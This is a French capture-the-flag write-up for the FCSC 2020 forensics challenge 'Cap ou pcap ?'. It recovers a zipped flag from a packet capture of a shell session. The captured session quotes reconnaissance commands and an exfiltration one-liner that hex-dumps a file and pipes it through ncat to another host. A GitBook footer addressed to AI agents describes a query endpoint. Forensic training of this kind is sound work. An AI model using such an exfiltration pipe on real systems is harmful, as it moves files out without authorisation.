> For the complete documentation index, see [llms.txt](https://book.onosh.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.onosh.ovh/ctf/france-cybersecurity-challenge/cap-ou-pcap.md).

# Cap ou pcap ?

### Énoncé <a href="#enonce" id="enonce"></a>

Voici la capture d’une communication réseau entre deux postes. Un fichier a été échangé et vous devez le retrouver.

Le flag est présent dans le contenu du fichier.

[cap.pcap](https://onosh.github.io/ctf/fcsc2020/download/cap.pcap)

### Analyse de la capture <a href="#analyse-de-la-capture" id="analyse-de-la-capture"></a>

En ouvrant la capture nous remarquons des échanges TCP entre 2 hôtes.

Au bout de la trame 6, des informations relatives à un système linux apparaissent, j'ouvre le flux TCP sur cette trame.

```
id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
07:10:25 up 24 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
fcsc     tty7     :0               06:46   24:47   3.13s  0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit
```

La commande pour l'échange du fichier est :

`xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200`

On regarde rapidement le manuel de xxd sous linux :

```
xxd
-p output in postscript plain hexdump style
```

La commande récupere le hexdump de flag.zip, supprime les retours à la ligne avec tr et transfert le fichier avec ncat.

Cherchons les données du fichiers dans les trames, notamment la trame la plus "grosse".

La trame 27 contient les données relatives à l'échanges :

```
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000
```

Il ne reste plus qu'à faire le processus inverse.

```
onosh@kali:/home/onosh/FCSC/CRYPTO# xxd -r -p flag.hex >flag.zip && unzip flag.zip flag.txt && cat flag.txt
Archive:  flag.zip
  inflating: flag.txt                
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.onosh.ovh/ctf/france-cybersecurity-challenge/cap-ou-pcap.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
